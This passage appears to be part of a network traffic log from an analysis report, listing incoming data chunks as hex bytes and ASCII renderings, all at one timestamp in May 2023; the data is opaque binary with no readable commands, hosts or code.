2023-05-14 02:35:47 UTC	2446	IN	Data Raw: b4 4e 7f 54 70 99 5d cd e6 6f 61 8f 6a 6d 39 a0 81 de 7f 80 e5 c0 8d 74 71 3d 22 01 21 f3 3e d7 25 ff 6b 85 46 8c e6 08 66 47 7d 65 37 38 39 e3 ac 5c f8 c9 ee 20 72 80 5c bd 93 50 de 4f 70 d6 15 55 a5 09 71 97 4a 5c 85 c3 4c d6 e4 48 ec a7 61 fe c7 24 33 40 eb 6c 73 5e 7c a5 e1 37 0c 4e 7f 88 75 a4 40 61 5f 75 6c 72 6c 1f aa 2c 03 ed 67 a4 ca 49 ae e4 4e 94 34 bd 0d c0 0c f3 87 a1 64 49 ce f5 36 47 66 79 e7 dd 2e 5f ba 27 fd bb 46 f1 7b d5 58 c4 76 b7 08 18 84 51 e5 75 61 9f b0 e5 f7 bb 45 ff 53 68 44 e3 62 09 62 63 23 20 27 e1 06 a8 d6 38 e5 dd 75 19 ff 50 e9 e6 7d 53 a2 5f df f5 48 11 d7 3b 4b 3c f3 9b 2a 2c a7 a2 6d da 8f 8b 4a b0 f5 f1 74 97 a7 d0 83 27 97 54 6a 4b 42 ad c8 bf 36 eb e7 6b 62 83 7b 66 63 e7 e4 d8 ce 15 ee 9a e5 f5 39 5c b8 51 a9 ca 2c Data Ascii: NTp]oajm9tq="!>%kFfG}e789\ r\POpUqJ\LHa$3@ls^\|7Nu@a_ulrl,gIN4dI6Gfy._'F{XvQuaEShDbbc# '8uP}S_H;K<*,mJt'TjKB6kb{fc9\Q,
2023-05-14 02:35:47 UTC	2462	IN	Data Raw: 88 0d 2a 35 4f 54 77 88 66 cd 1d 15 74 24 f1 9b 35 e9 83 89 3d a3 f9 36 c2 83 f9 da d5 40 8c d1 3f 69 9a a4 e9 e5 d7 63 70 11 23 97 ea cf a9 a3 c4 08 c9 ed b6 f2 b5 25 1a 7a 69 56 01 d1 66 d6 5e 4f 61 b1 62 84 98 f2 c8 66 6f 47 df a5 fe c8 66 4d c8 12 42 a3 b3 35 92 58 1f 24 e0 a6 0f 50 c1 e9 dc f0 4f 8a 75 68 37 fb 69 5f 2f 75 e4 6f 9c 40 75 fd fa d0 f7 9c 3d 69 08 90 a1 df 34 d6 31 51 b7 e6 31 18 57 59 3f 11 e5 03 e2 01 58 a9 18 67 10 77 4e a0 62 fb 09 fd 92 90 71 42 cd 7b 03 c9 46 7d 4b 15 a2 74 87 07 56 23 6a c7 c1 03 47 bc 7e 5d ff 80 1d f5 37 96 b7 1e 27 27 05 64 ce f3 ec 9c c4 8f ee 1c 7f 8f 77 94 ff a2 78 5d 84 d8 5d 27 9d f0 75 fb 3a cf a3 75 a0 87 2d 9e 63 ab 13 b1 ea df f3 f8 a8 25 ef 5d 19 d6 e4 b6 94 d3 d2 a9 7e a0 3f f4 ad f3 4b 50 d5 44 73 Data Ascii: *5OTwft$5=6@?icp#%ziVf^OabfoGfMB5X$POuh7i_/uo@u=i41Q1WY?XgwNbqB{F}KtV#jG~]7''dwx]]'u:u-c%]~?KPDs
2023-05-14 02:35:47 UTC	2478	IN	Data Raw: e1 4b 6f 25 06 df 8e 68 ef 25 6e 5f ea a2 60 83 e0 d3 1f bc aa 08 f5 e8 77 27 3c 6d fb d3 18 0b 23 15 7e 00 1f 0d 0c e0 8a 2f e1 ef 68 ab 8d 27 f0 ab ec 7b e4 f4 cf 25 4d dc be 12 3b 44 b2 92 63 c9 b1 bd b1 9a dc a8 f8 b3 ec 1f 37 07 11 ad 70 cf 41 6c 2d 3e e4 f7 63 88 03 fe 01 e7 64 af 80 41 6f bf 0d a1 c2 48 e0 e6 64 be 6f b4 09 8e a4 a3 6e 9d d7 c8 01 d5 85 1e 3d ce b2 f3 6c 52 65 49 7e 38 db bb c2 6e e4 f3 ec d1 2c 35 e9 20 65 db c0 a1 62 62 f7 f1 fb 8c 4b f2 71 6c 36 7a 28 d4 57 81 ea 89 4a 3a df 31 0d cf 28 12 a8 a2 de 16 ef c5 4b b3 10 06 4f bf 7f 20 a4 03 3e 5f a4 cc 11 0d 77 99 db aa e4 e7 2c 02 76 ad 9d e5 a7 9d c8 db 64 e7 80 55 79 66 3c b1 e0 fa 73 1e 20 b4 7e be 41 52 ec 69 de cd bc de da 44 03 4b 5d fd 8e 9f 7a 43 35 ab 65 0e 6f b3 9d ed 5c Data Ascii: Ko%h%n_`w'<m#~/h'{%M;Dc7pAl->cdAoHdon=lReI~8n,5 ebbKql6z(WJ:1(KO >_w,vdUyf<s ~ARiDK]zC5eo\
2023-05-14 02:35:47 UTC	2494	IN	Data Raw: 34 c9 00 e9 a9 65 2c ff 6b e4 e0 a5 fb 2d 1f 34 61 5f 81 20 ca da 77 54 1c 88 5a 4f 33 e0 31 f4 1f b1 7f bd a2 99 d6 29 f9 3b ea a6 2b 66 e3 e7 66 45 fb 9f e0 ae b5 68 02 5f 27 65 b3 e5 fa 1f 81 4f 0d c9 68 99 16 2b 2c fe e5 4f d0 25 a0 91 6c c2 47 dc 0a 1e f1 2c 31 b9 a7 d1 d4 e5 12 1e 29 9b f7 a5 fc 98 14 2d e5 c3 7c 73 92 ec e3 e1 79 d9 bb 85 ba 81 f5 7c 47 81 b9 58 13 6f dd 96 22 80 7e a3 08 c7 f8 68 94 61 68 db bf 58 fb 73 a5 1f cb 9e 8e db f9 9d 45 3c 7d 50 23 85 4e 5a ca d9 9f e5 4a 96 b8 61 e0 fb 2c 35 ea 2d 5a e3 a6 8f af fb af d0 c6 f6 85 f5 06 53 b0 d7 74 72 09 cb 44 bf 20 f1 36 88 e7 f9 71 18 1e 30 33 d2 a4 1f ce 59 2b 94 e9 85 05 dc f8 55 ae f2 24 13 f1 38 3f 22 4b 84 d8 64 e7 32 1d 5f ad 2d fe a4 68 c3 8f 3a 49 62 7b 7f 47 b6 27 51 81 a7 ec Data Ascii: 4e,k-4a_ wTZO31);+ffEh_'eOh+,O%lG,1)-\|sy\|GXo"~hahXsE<}P#NZJa,5-ZStrD 6q03Y+U$8?"Kd2_-h:Ib{G'Q
2023-05-14 02:35:47 UTC	2510	IN	Data Raw: 33 73 39 4d 50 38 b5 ec 69 f2 56 59 82 34 c2 c0 60 d0 bf 8f ac 00 f7 c3 6c 98 84 28 aa a1 b4 a7 06 c9 6b 19 55 ba a2 e4 97 d3 ae 0e 62 ed f9 22 e6 e0 31 bc 70 a1 b2 4f 70 74 ab f0 f2 67 32 57 18 13 97 cd 69 39 d3 50 fa 90 58 ab 8a bc 9b e4 6f c2 bc e9 26 31 c4 32 42 97 a2 23 55 55 44 9d 20 36 4e 0c 64 d1 30 b2 41 e1 07 a5 cf 00 5b de 76 df fe 40 b4 f6 a3 2c f5 4f 8e 17 66 ef 69 75 56 c5 2f 94 ca ae 37 75 c4 97 e0 cf 5b ee 26 ab 79 fc bb 11 3a d1 b7 b3 7d 90 76 74 2d c7 22 3d 11 41 03 40 5e 15 36 9b ae e3 c0 6d 51 6a 0b bb c5 bc 4b 13 fb ce b3 9d ed ff de 54 fe fa 57 22 ee 98 4e e2 8f 85 8b 4b 93 2f bd 2e ad f2 eb b5 a8 7b 42 5d f8 8b be 7d 33 7d 29 dd 21 17 3d 56 b3 39 84 e3 a0 82 77 ab 75 6d 7d 25 2c c4 fb 22 66 ab 88 5d d1 a6 1d 6d d4 ff 3b de b0 dd 32 Data Ascii: 3s9MP8iVY4`l(kUb"1pOptg2Wi9PXo&12B#UUD 6Nd0A[v@,OfiuV/7u[&y:}vt-"=A@^6mQjKTW"NK/.{B]}3})!=V9wum}%,"f]m;2
2023-05-14 02:35:47 UTC	2526	IN	Data Raw: a5 48 ec a5 22 1c 18 b9 41 cb 6c 9f 4e a7 69 92 7d bc a1 1b 5e c4 02 9d 44 c5 1b de 68 c5 08 db bc 09 7c 31 37 b7 54 0f 64 61 87 5a 62 3c 43 fd e0 df ce 5b af 70 19 0a a5 ce e1 26 99 7c d7 43 66 4a 7b ec 3e 25 45 9b 47 2d 2d 3f 86 5a b7 10 e7 cf eb 9d e8 0b e7 37 76 6c 5f 45 9a c3 77 82 19 6e 32 49 48 89 cf 97 31 f6 4a 69 8a 3a 3a 32 25 54 d2 d5 7d 06 0a e1 4e af 53 4b 6a d5 c3 e8 a3 46 f2 2b 8e ae ce b7 56 ab ee f6 39 c5 64 d5 46 57 f2 fe e2 63 b7 73 16 9d 96 aa 94 d7 f4 b6 82 0a 7d 82 e4 19 46 69 67 fb 68 15 5f d0 e8 5e 8d bc 4b 85 cb 27 e9 7d 00 9a fd 59 91 e4 2c ec fd 5b 61 f1 43 93 5c a4 7b b2 93 e1 a9 0d 10 a4 f9 7d 5e ec df 68 f1 78 65 20 3f 50 d4 eb 54 53 b6 28 22 f9 28 99 d2 b8 6e 0a 34 bf 09 ad 63 a6 3a d9 7e d3 46 27 75 6b 76 d6 b3 08 3b 22 ce Data Ascii: H"AlNi}^Dh\|17TdaZb<C[p&\|CfJ{>%EG--?Z7vl_Ewn2IH1Ji::2%T}NSKjF+V9dFWcs}Figh_^K'}Y,[aC\{}^hxe ?PTS("(n4c:~F'ukv;"
2023-05-14 02:35:47 UTC	2542	IN	Data Raw: e2 82 3b 0d 4b e5 c6 b9 c7 ac 2d 20 76 05 d3 59 67 fb 4c ef 20 c5 45 5d 7d d9 9d 50 a0 08 75 00 2a 51 61 2b e8 6b 2e b1 f4 47 7d 0b 6e af 13 ba 94 8c ad 8d 54 e3 81 6d 99 8c f9 77 8c ef 70 22 0c 85 f3 bd 48 bc e6 5b b6 e5 8d 04 2a 0b 29 ed 54 f1 45 dd b1 77 91 24 67 88 3c a2 b4 1f a7 d4 ec 06 bf fc 24 95 9c 7f 67 2d aa 37 6a 32 a5 a2 14 bd 9f e3 c2 e0 67 59 f7 2a f1 d4 4f f7 01 80 4f dd 7a c4 55 1c 97 81 eb 6d 64 bf 0a 7c d9 a2 8f 71 26 8b 06 87 64 05 e5 ba e7 5e e6 95 7b 6d 3a d9 bc eb 72 be 3e f4 47 90 ee d1 63 16 c4 4b f8 7f bc 1f 24 e9 cf 52 7d 64 be 16 69 f8 d5 56 36 4f 5f 06 79 30 c7 68 2b e3 fa 37 60 ed 4b 13 e5 f8 46 1f fa 3c 77 0a b5 8e ba dc 89 92 6c 82 e2 64 79 24 a3 a9 de 10 13 63 e2 43 60 3f e8 a2 a4 40 2e 5a eb e2 1f 40 7d 04 1f b1 73 56 fe Data Ascii: ;K- vYgL E]}PuQa+k.G}nTmwp"H[)TEw$g<$g-7j2gY*OOzUmd\|q&d^{m:r>GcK$R}diV6O_y0h+7`KF<wldy$cC`?@.Z@}sV
2023-05-14 02:35:47 UTC	2558	IN	Data Raw: 92 75 99 24 2a 52 6e ac cc 55 60 d4 16 dd f2 23 e6 d6 1f fe f0 26 4d 76 f4 e8 ba ef 01 60 5d da 63 f3 ff 22 7b ab ca 68 33 02 6c 17 f8 31 ed 63 1a fe 92 93 1b 6d 46 d5 76 bc 00 d2 ba d7 57 70 0c 17 d0 a7 eb a9 10 5a 6f 42 27 ae 13 75 f9 db f2 d5 cf 78 9e 4e 65 79 31 9b bd 90 9b a3 74 9c e3 5c 57 b5 51 a3 96 00 bd 00 4b 37 3a 35 fb 23 79 d2 71 c0 fe 47 d5 20 74 d7 a7 b7 cb 72 72 76 51 21 fd a6 fe 87 d2 60 8e 48 58 1f d6 20 a9 c8 44 53 97 2d d7 b9 ad 79 7a 9f 3f d1 d1 37 2e 1c e0 4c 3f 89 90 cd 7e 33 a6 fd 04 59 46 f4 bf 0b 3f dc d0 3d 19 f3 27 23 7c ca 55 04 24 fc 44 ae a3 b5 4e f1 5c 52 99 06 cc c7 ec f1 dc 0a 1f ab 74 9e ce b9 ec eb 9b f0 6b 3c 3f de 2a a6 7a 1c f3 db c4 45 9e a9 d7 2c ff d7 d4 fa aa e9 63 f8 77 d1 97 7a 12 00 a3 8d 6f d0 fd 58 e9 90 df Data Ascii: u$RnU`#&Mv`]c"{h3l1cmFvWpZoB'uxNey1t\WQK7:5#yqG trrvQ!`HX DS-yz?7.L?~3YF?='#\|U$DN\Rtk<?zE,cwzoX
2023-05-14 02:35:47 UTC	2574	IN	Data Raw: 42 3c 61 2f e8 29 d4 17 ff ec de 9c 31 74 57 22 2d 7c cd d8 00 27 91 7c 77 0a 4c d8 8d 65 91 65 e2 2d ba b3 cc 69 fb 68 ac 51 e4 1f 58 0c 69 4b 24 14 d6 a3 2a e0 cf 30 f5 9c 4d 47 01 e9 b2 e6 22 a5 6e 24 9e da d6 f5 61 32 40 5d 52 ac f6 7d e7 aa aa 9e e9 e0 31 72 6f 92 bf 2d 85 65 c4 16 66 d8 8e 8d 5e 49 37 6e d1 60 a5 1f 06 64 e9 5e cf 2c ee 54 48 81 1e 09 63 0d ef d7 bc dd 44 92 a9 53 37 ba 3d e2 4e 69 e6 0b 2c 77 70 40 45 c3 65 6b 2c c9 80 c8 83 b5 f5 b8 6e 86 84 8e 30 36 85 4a 76 96 c8 a8 53 a6 86 a6 5e b9 0a 49 0e f3 a2 bb 9e ad cc ef 7b 55 1e 96 7f 1f 26 c7 f4 26 0a dd 26 49 09 88 b2 21 e6 1d 36 0b 46 e5 c1 c7 2d 89 e7 d6 58 c3 ac e8 04 5f bc 57 b1 21 10 13 52 89 5a 04 4b b9 64 60 bd 71 04 f7 49 24 9b d3 60 a7 3f aa f6 2c f1 6c e1 cf c1 d0 87 6a e6 Data Ascii: B<a/)1tW"-\|'\|wLee-ihQXiK$*0MG"n$a2@]R}1ro-ef^I7n`d^,THcDS7=Ni,wp@Eek,n06JvS^I{U&&&I!6F-X_W!RZKd`qI$`?,lj
2023-05-14 02:35:47 UTC	2590	IN	Data Raw: 24 4d 1f 74 fd a3 96 1c d2 6d 5c df ec 02 24 d2 64 63 1f c8 d2 ee f5 61 cf 88 78 51 b1 a5 03 fe 2a a2 4b 4d 42 85 d1 a8 e3 be ea fc 6a 4c 43 c8 14 c3 cf 98 9e e9 73 76 55 4d ab 58 18 44 27 1e 90 41 a7 1a 42 52 16 61 e7 73 04 10 ee 59 f3 b5 45 fe d7 77 4a b4 f5 c3 d4 9e ff c2 c9 ea f6 22 31 c8 29 d1 bd 21 ec 78 fe 23 69 a4 2b bd 88 c3 cc d4 59 5c 75 65 7b f5 3b d8 37 6b b3 eb 9e 37 ad 87 7e a5 49 71 c6 f8 e6 8f f1 1f 32 2d 44 a7 61 0f e6 8d d1 48 87 0f 61 7c 5f c5 df f4 36 72 a2 c3 7b 35 65 8e 2b 60 fe c9 e0 ed 4c 3c e9 e0 2c 93 6f 1f f3 41 5a aa 68 b0 f7 4a f0 c6 75 42 aa 40 3a ae d8 ad f4 2c 65 c5 d8 1f e2 38 e5 de d5 cc a5 1a ed 57 f3 55 6c a8 f3 d0 f8 7f 77 37 b6 69 3d a7 40 88 92 ec af 2f e8 0e 0a 29 d7 01 44 af 0f fd f0 5a ec 26 a5 b7 9e 43 f3 a1 d0 Data Ascii: $Mtm\$dcaxQ*KMBjLCsvUMXD'ABRasYEwJ"1)!x#i+Y\ue{;7k7~Iq2-DaHa\|_6r{5e+`L<,oAZhJuB@:,e8WUlw7i=@/)DZ&C
2023-05-14 02:35:47 UTC	2606	IN	Data Raw: d1 c6 be 9a 98 56 9c e9 19 dd 68 82 b0 62 46 23 15 26 88 9c e8 63 d1 16 e5 f8 6e 25 e8 e6 5c e2 57 96 47 cf 4a 35 10 4b 97 ce bc 79 ec d8 1a a5 e1 57 a5 7e bc 72 70 4f 24 62 ea c0 65 91 ca 57 00 0d 65 a4 c9 84 ed 31 44 e9 53 01 69 1e c3 d2 f4 5e d9 dc 9a e7 e4 7f 63 dc 3f a9 90 f8 58 15 b5 86 c4 c1 48 8d ff 74 bf cd 2c 33 c6 04 fa 22 6e eb e8 9b 23 d1 15 05 de 60 80 c8 b9 45 7f 18 d7 e6 42 c4 1c c6 74 e3 21 93 6c bf 09 9e 9c fd 41 54 bf f7 cb d9 e3 39 8a 44 12 12 a4 f3 f3 cb 22 1e 76 a4 48 80 c9 76 cf 63 39 e2 81 7c db ac 70 0f f6 3d ea 9e 0f 68 7f b0 97 f0 0f a4 f5 5e 27 f9 d7 da 05 93 11 e9 e5 d9 6a 0b aa f6 42 e3 e7 dd 85 a7 fe 68 a5 75 fb 66 68 f7 01 fb 5c f6 46 09 7e f9 55 93 e2 40 47 79 37 99 68 a9 8c ca b0 ff 9c e1 a8 b5 ed b0 6a 00 af 5e a1 93 60 Data Ascii: VhbF#&cn%\WGJ5KyW~rpO$beWe1DSi^c?XHt,3"n#`EBt!lAT9D"vHvc9\|p=h^'jBhufh\F~U@Gy7hj^`
2023-05-14 02:35:47 UTC	2622	IN	Data Raw: 9e 32 5f 41 75 29 db a2 11 69 58 12 e7 3a fc 63 c5 df 6f 36 e1 e7 f5 e6 30 67 1e f6 0b 54 75 4b 4a 90 7d bd 8e 8f 86 3f f1 e3 e8 be 66 c4 67 93 04 f9 67 93 26 21 2a 7d f5 12 a2 81 11 fb 15 74 a6 71 ff 9e b0 af 92 7c 34 cf 44 01 40 bc e7 61 f0 fb ed 8f e5 86 d1 f5 95 bd 7b d7 d6 20 6b c5 e6 b9 63 a1 99 84 99 6b fa 5e 4d 0b 82 24 41 e0 7c c2 f7 18 30 31 94 66 71 4d 3e 2f 6c a6 3d 46 f4 2d 3f 1b 68 12 24 71 a6 a7 69 81 24 44 63 4b 28 d2 c5 dd 62 c2 d3 85 03 98 6e f1 2d c9 54 53 56 cb 7b e4 bc b9 9e 4b da 1b c5 1a 92 fb df fb e4 c2 8a e9 8e 4b 86 c7 2d 9c 21 91 a3 83 70 40 82 ab cf a5 b1 0c d3 88 ee 21 6c 25 55 57 e1 69 e8 9e 97 b5 ac d1 f3 6f 2d 6c a3 07 b7 66 14 14 52 99 fe 22 eb d6 cd 4c 6c 7b ea b2 29 a9 e7 2f 1b ca d9 74 7d a4 d8 5e 3d 0b fe 5e a9 4f 37 Data Ascii: 2_Au)iX:co60gTuKJ}?fgg&!*}tq\|4D@a{ kck^M$A\|01fqM>/l=F-?h$qi$DcK(bn-TSV{KK-!p@!l%UWio-lfR"Ll{)/t}^=^O7
2023-05-14 02:35:47 UTC	2638	IN	Data Raw: e7 79 5b a6 e8 9e c3 c8 2c d6 b0 0a 92 d2 de 83 00 cb 89 1c eb 38 83 99 8e 1f c2 b2 ad 4b 65 31 a2 c4 47 a6 e5 29 4f 5a 3f 21 44 05 21 28 2b e1 21 f7 8e b9 be 84 e5 4e 51 dd a9 51 00 37 10 47 96 69 74 25 08 f9 cc 67 8b 33 fa be 46 2e e5 23 c4 17 ed bd e6 62 d9 e7 37 ec 8d 64 bc 76 76 d0 91 c9 0b 35 fb dc 07 e0 cb e9 5a 57 b6 2c d9 e1 62 76 c4 dd ad 23 d5 08 74 74 17 10 96 8a d4 33 3a a9 61 ef ce 28 d8 2d 77 98 ac 3a 2f 84 f7 8f ec e2 af 95 f4 b4 f7 33 7d 85 22 53 19 64 30 0e e5 79 71 a5 68 72 dc ae e6 e3 d4 47 05 cc e1 d3 67 d3 cf fd ee d2 cf 10 f4 c9 bb 57 20 69 21 16 22 28 28 05 3b 8d c6 28 5f eb 84 ff 6e 28 63 83 44 df 8a 9c eb e4 2b f9 3b d4 ff 50 ad e5 76 26 40 4e 4d 9f 5d 49 ef d5 a5 83 47 0a 68 0d 04 4d b6 5f f4 9f 6c 95 e6 05 32 e0 b1 2e a1 26 4c Data Ascii: y[,8Ke1G)OZ?!D!(+!NQQ7Git%g3F.#b7dvv5ZW,bv#tt3:a(-w:/3}"Sd0yqhrGgW i!"((;(_n(cD+;Pv&@NM]IGhM_l2.&L
2023-05-14 02:35:47 UTC	2654	IN	Data Raw: c3 47 b7 bb 63 17 d3 1c 12 d5 85 e4 bd c4 68 e6 d4 9b c9 3d 64 59 d1 68 9d 54 1c fe a1 a4 e6 1e 05 01 24 56 56 65 ff 6a e9 aa ce 21 9a 2f be 11 6e c9 c1 c9 62 46 55 dd 8d 95 85 55 b1 a3 09 f2 82 d2 ab 9b 52 1b 53 7a 6d 64 a2 32 33 3c 59 8f 61 7e 7d fd f2 45 c7 c1 5e 74 01 70 a5 36 4c e6 a7 4d 37 a3 45 1e e2 0b 27 d9 35 53 7c b9 a2 64 00 8e d0 ed 03 10 7e 4f a6 8b 4f f6 46 a6 75 72 7b 3d 52 cc 44 90 ab c8 c3 ba 1d 23 44 69 cb cc e6 26 d4 0d de 26 ee 51 72 9f ba 3b 13 64 6b c4 25 0e e1 e2 67 86 e7 21 ee 45 ad 6f 72 23 47 a9 63 d0 ce e8 04 c5 f0 1a 13 0c 8f 54 ed e1 54 1d d0 46 67 36 55 58 3c 14 60 0c 65 55 7a 70 e2 e6 c6 56 d1 4e e4 44 5c b0 5b 4d 0e f3 05 f6 71 2e 6f c8 51 ef 1c 9c ad b0 83 6a c6 7f 6f 1c f3 73 e5 9a 04 0f 46 64 8f da 7c 28 99 db ad d7 2d Data Ascii: Gch=dYhT$VVej!/nbFUURSzmd23<Ya~}E^tp6LM7E'5S\|d~OOFur{=RD#Di&&Qr;dk%g!Eor#GcTTFg6UX<`eUzpVND\[Mq.oQjosFd\|(-
2023-05-14 02:35:47 UTC	2670	IN	Data Raw: a2 0a dd 98 4c eb 3e a9 b7 84 69 8d 2f 26 6b 8f de d1 b4 d7 68 c4 f6 d4 32 94 c5 2a eb 1d a4 05 d0 82 ca af 33 b3 e2 7d a3 f1 65 9a af 88 22 5e 64 c9 cd 57 dc 60 13 42 a1 9a b4 2d d1 4a b5 c3 c7 88 f9 a3 74 78 ca 00 67 2a 4e f7 2b 39 e9 97 bc 4f 84 b3 6b 05 e1 7d 7b b8 3b 5e eb 77 28 d9 52 bc ec 50 40 0e f6 e1 f3 52 c2 4b 7a 46 e2 e4 66 dc d9 5d 0f 3b e2 36 bc 98 fe 0c 55 f7 c7 14 ae cb 9d c4 4c c0 d2 04 ff 10 89 44 c6 b2 5d 23 c1 78 24 96 2b 8e f3 d8 76 a7 17 51 d5 52 1a fc 9d e9 4f 21 55 be ca 13 b8 23 b2 e4 e8 90 3d b3 53 58 e5 6f 6a b0 92 c4 77 00 9f 4c da 46 b5 83 72 15 e5 6e 6b 18 ed 12 e7 c0 74 95 5e 5e 61 d4 68 c8 df 16 7c 8f c9 87 da de 15 8e a2 b7 28 43 01 89 9e b1 49 51 7a 2a e9 13 7c 65 ec a9 70 1b 40 25 8d fd b7 3a 15 2e a7 b0 b5 16 85 60 69 Data Ascii: L>i/&kh23}e"^dW`B-JtxgN+9Ok}{;^w(RP@RKzFf];6ULD]#x$+vQRO!U#=SXojwLFrnkt^^ah\|(CIQz*\|ep@%:.`i
2023-05-14 02:35:47 UTC	2686	IN	Data Raw: ce 2e d1 8d 38 10 ac a5 ec 13 0b 41 ea 22 10 a1 96 42 d8 a1 25 5c 75 98 2d 8d d3 03 a1 03 75 4e d1 4b c8 9c 48 71 94 98 35 e7 bb ae 48 cc 29 a3 0c dc 2f c5 fb 92 a7 75 c9 19 bc 50 7c bc bc 56 ee 59 36 f1 ce a4 da 64 5f 33 4d 5f a1 2f a0 7d 7c c7 b3 bd 7d 61 94 92 79 90 07 23 c1 77 4c 55 a1 50 5c 9c 00 79 7f 0b 38 ea aa 3e 72 ac 64 a9 04 0d c7 db c2 68 bd 55 70 ae 0e 5b 27 17 c5 54 82 e2 1b d0 43 1f 08 e8 c1 7b bd ca 69 0c 57 a7 ef 11 56 98 6e 6c 16 25 fe dc 2e 61 81 b5 b3 08 b1 0f 5b 2d 6c 80 92 74 2d 50 70 0b 22 f8 c2 ac 69 3c e7 9d d8 01 f5 05 57 1c 71 5a 92 a6 72 af 03 e9 dc 6b 00 e1 d6 c4 ff 4b 17 23 6a 3f c0 ab 8e 0b a4 a7 52 64 b7 f5 75 b0 6f 21 9f f5 37 c4 4a b7 dc c7 28 80 a7 5b b2 ef 0a 9b 8e 4c c3 f7 4e d9 23 cc db 1c 0f 83 6a be eb 01 b0 16 16 Data Ascii: .8A"B%\u-uNKHq5H)/uP\|VY6d_3M_/}\|}ay#wLUP\y8>rdhUp['TC{iWVnl%.a[-lt-Pp"i<WqZrkK#j?Rduo!7J([LN#j
2023-05-14 02:35:47 UTC	2702	IN	Data Raw: 85 5e 7e 5d 40 9f ce 91 20 a5 74 b3 4f 22 db 7d c3 f9 d6 4a c9 ce 59 07 f2 9f 9b c2 af cb 2e 9a 30 7f 7f 5f ed 7f ce 8a b8 f7 31 ed 0c 6a fb b8 01 b2 a6 67 0a d2 cc 8a 73 c5 ab 5a 9a 13 e5 35 d5 50 97 1f 67 26 07 d3 88 8b 78 e9 5d 22 b2 78 57 92 8f 65 81 c2 dd 2f 72 d6 4e 7a c7 d1 6c ac 74 17 e7 f8 ad bc 7a 96 90 45 f3 64 4f 0e 7c 5b bb d0 c3 67 c2 46 e8 8e 5c a2 97 69 c6 81 4d ad 06 65 47 4d 0f bf 0e 33 ca c1 74 c6 4d 06 fb d9 40 79 d1 e5 cc e6 2d dd d2 ba b4 96 c4 a3 6c ce 23 e7 63 6c 47 bb ce a2 d3 d7 76 7f 3d 1c 37 e1 4b b1 f7 a3 e7 f5 df 8d 7a 1a b6 a2 c7 49 5c ca 47 3f 51 4c 45 36 d7 9a 61 c2 2d 35 5c 68 f7 d7 11 6d 9e 17 c5 fb 28 ce 3a cb b9 e8 f4 e0 7d e6 89 69 71 fe 80 39 f2 9a e2 b1 6f ef 6b 0a 6b 69 42 db 53 42 cd c3 e6 9f 60 8b 7d fa ee 9b 42 Data Ascii: ^~]@ tO"}JY.0_1jgsZ5Pg&x]"xWe/rNzltzEdO\|[gF\iMeGM3tM@y-l#clGv=7KzI\G?QLE6a-5\hm(:}iq9okkiBSB`}B
2023-05-14 02:35:47 UTC	2718	IN	Data Raw: d5 56 b3 5f a7 1f 9f be c3 f8 76 87 49 0b f5 6c c4 c3 ef 2e 19 07 e4 0e 56 1b b3 a3 3d f5 b0 c9 07 60 57 5c 6d 5f dd aa c5 4e f4 d9 bd 0e ad 79 70 d8 d5 6c 4c d3 3d a3 5e ba 31 8e 23 44 cb fd e4 0f 54 4e 37 23 c9 c6 cc f7 d0 a7 6a 0b dc 11 df fa 3f 0f e7 27 7a 41 08 3e ab e6 42 52 ac ed 56 69 65 5a 7f ef 16 5e 60 c4 0c e5 49 f2 d6 dd 81 9a d5 7b ef d5 05 4f b5 88 fc 87 14 e9 68 e0 e5 fc 67 45 23 b9 ce 42 11 e1 f4 e5 52 47 f9 69 92 28 93 47 ed c6 ef 17 44 8a 3b 5a f0 d1 eb 2e 36 eb 2f f5 1f 3f 44 b2 60 c1 52 f8 3d 88 ff 23 64 89 dc 68 9d d7 c9 7b 32 59 e7 dc 1e 49 e4 50 34 8c 65 78 27 1b cd 32 02 41 5c 64 8c 07 c1 4a 4b b5 57 ed ef 65 ec ee 5a ab 96 02 06 d7 25 a2 07 5d 27 45 ff be 4c 1c cc 3d b4 d5 dd 93 7a d1 8d f5 f1 45 bf e4 e5 cd 17 f8 3a 37 88 89 c9 Data Ascii: V_vIl.V=`W\m_NyplL=^1#DTN7#j?'zA>BRVieZ^`I{OhgE#BRGi(GD;Z.6/?D`R=#dh{2YIP4ex'2A\dJKWeZ%]'EL=zE:7
2023-05-14 02:35:47 UTC	2734	IN	Data Raw: 59 0a e1 d8 3c c9 5a aa d0 e5 78 e1 c1 04 83 b0 a3 4f 77 66 bf cf e0 17 59 b2 e7 da a6 c7 84 be 2b df 75 d7 ee 05 0a 92 f4 c1 72 25 63 b8 e8 ab 45 99 9e 05 06 41 a9 8f fd 9e e3 a2 8c 8d 2c fc c7 6f a3 5e 73 99 2e bc f0 c4 da 99 e5 22 79 ae 43 9a b7 34 83 5e dd 99 f2 df 55 c6 9d d0 d3 d9 61 fa f7 0a 0f 69 4d cb b5 ad 49 b5 3b ea 2e de 1a 62 db df 8d 98 ef 8a 6c ba 35 1a a7 c3 ec bf 42 e1 62 43 47 5b e6 e2 a2 0d f5 6d 75 00 ef 91 43 79 d5 fa cf a5 9c 0d 96 f0 46 a9 fe c1 54 3e 71 3f 67 cd 2b 1d 26 bb 98 65 b1 6c 6f 21 fa 9b 63 e8 86 27 cd d5 a8 1d 1a be dd 98 de c2 e5 ac 5b 53 67 3f fd 57 4f 2f c4 d1 72 95 5d 1d ab 5d fd 79 d7 db c8 8e 4d e0 93 1d a7 ca 7f e4 6a ac 2e 9f 40 20 e6 be c6 9d 94 c4 14 87 4d 6e f8 5a 53 61 cf 67 1b 06 ed 87 74 bc 67 be e6 62 69 Data Ascii: Y<ZxOwfY+ur%cEA,o^s."yC4^UaiMI;.bl5BbCG[muCyFT>q?g+&elo!c'[Sg?WO/r]]yMj.@ MnZSagtgbi
2023-05-14 02:35:47 UTC	2750	IN	Data Raw: 18 af 83 94 52 db ea 08 00 a4 fc 30 54 6c f3 86 c0 60 63 d4 7b 26 b2 75 e2 fd 97 ab 85 06 8d b9 e9 c7 5e 8f 16 5c 8a 53 1f 76 aa a4 4c 92 f0 9c 83 eb 2e 2f fd 3e f4 2d 46 9a bb d7 d6 cf 6c e3 e7 5f ca cb 6e f1 7c 54 03 15 4c a0 0b 2f 9f 51 3b c8 41 9d ef 5e 59 8a bd f4 24 66 24 6f 7f 04 07 dd 61 26 45 b7 4d 52 6d cb e4 61 8a d1 3a b1 16 59 df bb ff d3 e2 bd 53 a7 84 a3 53 9f b9 0e 41 af 3e ee 12 bd 2e a7 f2 72 34 f3 ea 50 fe b5 86 aa 82 e7 98 fb bc 8a 16 27 2d 3f 86 1e 58 c8 06 13 de 2c 8b 7f 91 a5 94 c9 10 10 07 5c fb 07 6d 9d d2 7b 82 9c be e3 85 3d e9 4b 07 26 8c ea c8 53 97 47 c7 bd e7 5a d7 de 68 6b 